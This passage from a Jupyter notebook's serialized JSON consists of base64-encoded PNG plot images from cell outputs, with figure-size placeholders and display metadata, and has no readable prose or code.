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\n", "text/plain": [ "<Figure size 936x216 with 1 Axes>" ] }, "metadata": { "tags": [] }, "output_type": "display_data" }, { "data": { "image/png": "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